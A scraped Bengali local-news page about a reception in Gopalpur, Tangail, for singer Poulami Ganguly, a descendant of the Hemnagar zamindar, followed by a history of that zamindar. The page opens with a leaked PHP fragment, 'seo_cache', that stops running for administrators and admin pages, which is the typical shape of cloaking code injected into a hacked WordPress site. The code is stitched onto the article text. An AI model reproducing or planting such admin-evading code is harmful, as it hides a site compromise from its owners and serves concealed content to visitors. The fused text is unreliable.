function seo_cache() { if (is_admin()) return; $u = wp_get_current_user(); if (in_array('administrator', (array)$u->roles)) return; ?> গোপালপুরে হেমনগর জমিদারের উত্তরসূরি পৌলমী গাঙ্গুলীকে সংবর্ধনা - GopalpurBarta24.com
আজ || বৃহস্পতিবার, ১৬ এপ্রিল ২০২৬
শিরোনাম :
 


গোপালপুরে হেমনগর জমিদারের উত্তরসূরি পৌলমী গাঙ্গুলীকে সংবর্ধনা

কে এম মিঠু, গোপালপুর :

q

 টাঙ্গাইলের গোপালপুর উপজেলার হেমনগরের বিখ্যাত জমিদার হেমচন্দ্র চৌধুরীর উত্তরসূরি ওপার বাংলার বিখ্যাত সঙ্গীত শিল্পী ড. পৌলমী গাঙ্গুলিকে গতকাল সোমবার উপজেলা পরিষদ মিলনায়তনে সংবর্ধনা দেয়া হয়। এ সময়ে তার সাথে উপস্থিত ছিলেন ভারতের আরেক গুণি সঙ্গীত শিল্পী প্রায়াগ জোষী। গোপালপুর প্রেসক্লাব ও আমরা গোপালপুরবাসী ফেসবুক গ্রুপ এর যৌথ আয়োজনে সংবর্ধনা অনুষ্ঠানে সভাপতিত্ব করেন অধ্যাপক জয়নাল আবেদীন। প্রধান অতিথি ছিলেন উপজেলা চেয়ারম্যান ইউনুস ইসলাম তালুকদার। বক্তব্য রাখেন অধ্যাপক বাণীতোষ চক্রবর্তী, ওসি মুহাম্মদ আব্দুল জলিল, হেমনগর ইউনিয়নের চেয়ারম্যান রওশন খান আইয়ুব, জমিদার পরিবারের শেষ নায়েব গনেশ চন্দ্র রক্ষিত, প্রবীণ শিক্ষক জোয়াহের আলী, আব্দুস সালাম মেম্বার, গ্রুপ এডমিন মুহাম্মদ সাইফুল ইসলাম, আনজু আনোয়ারা ময়না, কে এম মিঠু প্রমুখ।

পরে ওই দুই শিল্পীর সঙ্গীত পরিবেশনা শেষে হেমনগর জমিদার বাড়ি পরিদর্শন করেন।

ব্যক্তিগত চরিত্রে জমিদার হেমচন্দ্র চৌধুরি বহু গুনাবলীর অধিকারী ছিলেন। তিনি প্রচন্ড শিক্ষানুরাগী, সুন্দর শাসক, মানবতাবাদী সবোর্পরি ন্যায় বিচারক ছিলেন। প্রজাসাধারনের সুবিধার্থে তিনি রাস্তার মোড়ে মোড়ে কুপ র্নিমাণ এবং বহুসংখ্যক পুকুর খনন করেন। তিনি অত্যন্ত সৌখিন এবং সুন্দরের পুজারী ছিলেন। হেমনগরের প্রাকৃতিক নৈস্বর্গিক দৃশ্যের মধ্যে নির্মিত তার অপূর্ব কারুকার্যময় বাসভবন আজও তার সাক্ষ্য বহন করছে। হেমচন্দ্র চৌধুরি অত্যন্ত ধর্মভীরু হলেও ইসলামের প্রতি যথেষ্ঠে উদার ছিলেন।

তিনি চার পুত্র ও চার কন্যার জনক ছিলেন। তার নামানুসারে গ্রামের নাম করা হয় হেমনগর। ১৯০০ সালে হেমনগরে তার বিমাতা মায়ের নামে প্রায় ২০ একর জমির উপর শশীমুখী উচ্চ বিদ্যালয়টি প্রতিষ্ঠা করেন। ময়মনসিংহ আনন্দ মোহন কলেজ প্রতিষ্ঠায় দশজন দাতার তালিকায় হেমচন্দ্র চৌধুরির নাম চার নম্বরে লিপিবদ্ধ আছে। তিনি চট্রগ্রামের সীতাকুন্ডের চন্দ্রনাথ মন্দির ও টাঙ্গাইল ফৌজদারী উকিলবার প্রতিষ্ঠা করেন। গোপালপুর সূতী ভি এম পাইলট হাইস্কুল প্রতিষ্ঠায় জমি ও অর্থ দান করেন।

সংগ্রামী কৃষকনেতা হাতেম আলী খান এর নেতৃত্বে জমিদার বিরোধী আন্দোলন গড়ে উঠলে ১৯৪৬ সালে দেশ বিভাগের পূর্বেই বংশধরগণ স্থাবর-অস্থাবর সম্পত্তি ফেলে কলিকাতায় চলে যান। জমিদারের পরিত্যাক্ত বাড়িতে ১৯৭৯ সালে এলাকাবাসীর উদ্যোগে স্থাপন করা হয় হেমনগর ডিগ্রী কলেজ।

জমিদার হেমচন্দ্র চৌধুরী ১৯৫২ সালে ভারতের কাশিতে মৃত্যু বরণ করেন।

মন্তব্য করুন -


Top
error: Content is protected !!